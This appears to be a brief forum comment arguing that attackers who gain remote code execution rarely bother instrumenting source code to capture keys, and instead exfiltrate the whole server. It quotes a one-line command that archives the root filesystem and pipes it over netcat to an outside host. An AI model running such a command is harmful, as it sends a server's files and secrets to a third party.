3 ms·
In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in p
by uxp 11y ago
In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running
tar czf - / | nc example.org 1234
and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.